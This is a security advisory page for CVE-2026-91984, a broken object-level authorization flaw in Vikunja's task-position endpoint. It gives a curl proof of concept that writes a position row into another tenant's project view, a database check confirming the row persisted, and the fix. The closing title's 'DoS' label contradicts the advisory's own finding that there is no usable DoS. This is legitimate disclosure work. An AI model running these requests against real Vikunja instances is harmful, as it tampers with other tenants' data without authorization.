Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

CVE-2026-91984 — api

Fix: go-vikunja/vikunja#3688

CVE-2026-91984 is a CWE-639 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Vikunja before 2.6.0 Broken Object-Level Authorization via task-position

Also known asGHSA-w39f-h553-h2mxGO-2026-6755
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-91984.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs17th percentile — riskier than 17% of all scored CVEsHighest risk
0.00%0.25%0.51%0.76%0.3%0.3%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The task-position endpoint authorizes only the task side of the write: TaskPosition.CanUpdate delegates to Task.CanUpdate (write access to the task's own project) and the request body's project_view_id is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist (task_id, project_view_id, position) rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below MinPositionSpacing, 0.01) enter the recalculation branch, but RecalculateTaskPositions aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.

Details

Affected endpoints (both verified):

  • v1: POST /api/v1/tasks/{id}/position
  • v2: PUT /api/v2/tasks/{id}/position

Root cause in pkg/models/task_position.go:

  • CanUpdate (lines 61-64) checks only Task.CanUpdate — i.e. the caller's write access to the task's own project.
  • updateTaskPosition (lines 174-232) upserts (task_id, project_view_id, position) directly; there is no check that the view belongs to the task's project and no access check on the view's project.
  • ProjectViewID is body-bindable (json:"project_view_id", no readOnly/param restriction, line 42).

Contrast with the fixed sibling: the bucket-move endpoint (POST /projects/{project}/views/{view}/buckets/{bucket}/tasks, pkg/models/kanban_task_bucket.go:53-68) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.

Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives 200 {"task_id": ..., "project_view_id": <victim view>, "position": ...} on both v1 and v2, and the row is persisted (verified directly in the task_positions table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but RecalculateTaskPositions returns 403 (getRelevantProjectsFromCollection → CanRead on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.

PoC

Steps use the owner of the victim project (token $OWNER) and an attacker with only their own project (token $ATTACKER). All requests were executed against a local Vikunja 2.5.0 instance.

  1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
  -H 'Content-Type: application/json' -d '{"title":"victim"}'
# -> {"id":200,...}

curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER"
# -> [{"id":771,"view_kind":"kanban",...}, ...]   # remember VIEW=771
  1. Attacker creates their own project and a task in it:
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"title":"attacker"}'
# -> {"id":201,...}

curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"title":"evil"}'
# -> {"id":105,...}
  1. Baseline — attacker positions their task in their own view (succeeds, expected):
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}'
# -> 200
  1. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}'
# -> 200 {"task_id":105,"project_view_id":771,"position":100}

curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}'
# -> 200 (v2 twin behaves identically)
  1. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):
curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 1}'
# -> 403 Forbidden
  1. Persistence proof — the cross-tenant row exists in the database:
docker exec <db> psql -U vikunja -d vikunja -t -A -c \
  "SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;"
# -> 105|100        (row for the attacker's task inside the victim's view namespace)

Observed result: steps 4 and 6 succeed — a task_positions row (attacker_task, victim_view) is created and persisted; step 5 is refused with 403. Note: "position": 1 is above MinPositionSpacing (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).

Impact

Impact summary: a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated low — the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join task_positions without re-checking task-project access.

Broken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension — the task — while the write targets another — the view). Any authenticated user holding a single writable task can persist rows into any other tenant's view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (< 0.01) enters the branch but RecalculateTaskPositions fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a FOR UPDATE lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in CanUpdate or before the upsert, load the view by tp.ProjectViewID and require view.ProjectID == task.ProjectID (and/or caller access to the view's project), mirroring the bucket-side fix for GHSA-569v.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versions2.6.0go get code.vikunja.io/api@v2.6.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-91984 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary The task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task's own project) and the request body's `project_view_id` is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalcul
O3 Security · Impact-Aware SCA

Is CVE-2026-91984 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-91984: api DoS — Fixed in 2.6.0